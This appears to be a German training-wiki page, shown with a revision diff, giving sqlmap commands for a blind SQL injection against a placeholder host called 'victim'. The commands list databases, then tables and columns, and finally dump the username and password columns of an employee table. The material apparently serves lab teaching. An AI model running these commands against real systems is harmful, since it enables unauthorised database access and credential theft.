Aktuelle Version vom 25. Juni 2026, 05:42 Uhr

Ausgabe aller Parameter und Optionen

sqlmap -u "http://victim/sql-blind.php?plain=1" --data="username=hans" --dbs --batch --string=VALID

sqlmap -u "http://victim/sql-blind.php?plain=1" --data="username=hans" --batch --string=VALID --flush-session

sqlmap -u "http://victim/sql-blind.php?plain=1" --data="username=hans" -D tuxmen --tables --batch --string=VALID

sqlmap -u "http://victim/sql-blind.php?plain=1" --data="username=hans" -D tuxmen -T mitarbeiter --columns --batch --string=VALID

sqlmap -u "http://victim/sql-blind.php?plain=1" --data="username=hans" -D tuxmen -T mitarbeiter -C username,password --dump --batch --string=VALID

@@ Zeile 1: / Zeile 1: @@
-=Augabe aller Parameter und Optionen=
+=Ausgabe aller Parameter und Optionen=
 *sqlmap -hh
-=Aufruf des Wizards=
-*geführt und interaktiv
-*sqlmap --wizard
-=URL angreifen / auf Schwachstellen testen=
+=Datenbanken anzeigen (optional)=
-*URL je nach Struktur der interessanten Seite
+*sqlmap -u "http://victim/sql-blind.php?plain=1" --data="username=hans" --dbs --batch --string=VALID
-*sqlmap www.opfer.de/index.php?id=1
-=Ausgabe der Datenbanken - falls angreifbar=
+=Verwundbarkeit bestätigen=
-*sqlmap www.opfer.de/index.php?id=1 --dbs
+*sqlmap -u "http://victim/sql-blind.php?plain=1" --data="username=hans" --batch --string=VALID --flush-session
+=Tabellen der Datenbank tuxmen=
+*sqlmap -u "http://victim/sql-blind.php?plain=1" --data="username=hans" -D tuxmen --tables --batch --string=VALID
+=Spalten der Tabelle mitarbeiter=
+*sqlmap -u "http://victim/sql-blind.php?plain=1" --data="username=hans" -D tuxmen -T mitarbeiter --columns --batch --string=VALID
+=Daten dumpen=
+*sqlmap -u "http://victim/sql-blind.php?plain=1" --data="username=hans" -D tuxmen -T mitarbeiter -C username,password --dump --batch --string=VALID